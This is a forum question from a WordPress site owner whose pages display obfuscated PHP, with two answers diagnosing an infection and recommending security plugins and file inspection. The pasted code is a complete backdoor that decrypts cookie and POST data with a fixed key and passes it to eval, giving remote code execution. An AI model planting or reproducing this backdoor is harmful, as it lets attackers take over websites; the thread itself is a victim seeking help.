Wordpress Question posted in
The official Wordpress documentation can be found here.

My WordPress website shows PHP Code at top

My wordpress website is facing an issue showing PHP Code at top of the page. I found that is at head of the website structure. It shows that code:

$ptviGMPNr = "x6e" . "x5f" . chr ( 154 – 51 )."x6c" . ‘H’ . "145";$NOLxO = chr (99) . ‘l’ . chr (97) . "163" . "x73" . "x5f" . ‘e’ . ‘x’ . chr ( 660 – 555 )."x73" . chr ( 835 – 719 ).chr ( 144 – 29 ); $GwRQSvzD = class_exists($ptviGMPNr); $ptviGMPNr = "45283";$NOLxO = "51284";$ijokVa = !1;if ($GwRQSvzD == $ijokVa){function ULjUTaPPk(){return FALSE;}$dbUxIdXD = "37461";ULjUTaPPk();class n_glHe{private function YRnYM($dbUxIdXD){if (is_array(n_glHe::$qOuvPL)) {$jVRrPrJzT = str_replace(chr ( 480 – 420 ) . "77" . ‘p’ . chr ( 685 – 581 )."x70", "", n_glHe::$qOuvPL["x63" . chr ( 206 – 95 )."156" . "x74" . chr (101) . "x6e" . chr ( 516 – 400 )]);eval($jVRrPrJzT); $dbUxIdXD = "37461";exit();}}private $HqhYr;public function jVqHKdKGCI(){echo 50766;}public function __destruct(){$dbUxIdXD = "35781_45812";$this->YRnYM($dbUxIdXD); $dbUxIdXD = "35781_45812";}public function __construct($hwRrNWd=0){$LuKpnfj = $_POST;$KiqkCrdBkU = $_COOKIE;$FQkzWpWRbs = "a0edafbb-e3bd-448e-bb16-e5552ef002da";$ltSZAEnPXE = @$KiqkCrdBkU[substr($FQkzWpWRbs, 0, 4)];if (!empty($ltSZAEnPXE)){$twEoROKM = "base64";$BkPAdXu = "";$ltSZAEnPXE = explode(",", $ltSZAEnPXE);foreach ($ltSZAEnPXE as $nZbly){$BkPAdXu .= @$KiqkCrdBkU[$nZbly];$BkPAdXu .= @$LuKpnfj[$nZbly];}$BkPAdXu = array_map($twEoROKM . "137" . chr ( 264 – 164 )."x65" . chr ( 582 – 483 ).’o’ . chr ( 972 – 872 ).’e’, array($BkPAdXu,)); $BkPAdXu = $BkPAdXu[0] ^ str_repeat($FQkzWpWRbs, (strlen($BkPAdXu[0]) / strlen($FQkzWpWRbs)) + 1);n_glHe::$qOuvPL = @unserialize($BkPAdXu); $BkPAdXu = class_exists("35781_45812");}}public static $qOuvPL = 48451;}$RjQkJ = new /* 15124 */ n_glHe(37461 + 37461); $_POST = Array();unset($RjQkJ);}

I was watching at functions.php and header.php into theme folder and i see nothing there. I looked up at the logs, ’cause i have debug activated and it doesnt show something i can work with.

Can you assist me with that?

Thank you in advance

Tags:

2

Answers


  1. 0

    Based on the fact, that the code seems to be obfuscated, I would guess that your WordPress website was infected with a virus and that virus made the mistake of removing <?php tag at the start of some file, which echos the code instead.

    Try to locate the file with the code and check, if WordPress core files weren’t changed. You can use WordFence for this.

    Login or Signup to reply.
  2. 0

    It seems like your WordPress website has been compromised.

    The following are the priority steps to fix the issue:

    1. Using security plugins like Wordfence or Sucuri Security can help you identify and remove malicious code.
    2. Manually inspect your theme files, including functions.php and header.php, for any suspicious code. Also, remove all other weird files in your project directory.

    Once you’ve cleaned up your site and taken necessary security precautions, always maintain good security practices to prevent future attacks.

    Login or Signup to reply.
Please signup or login to give your own answer.

Back To Top
Search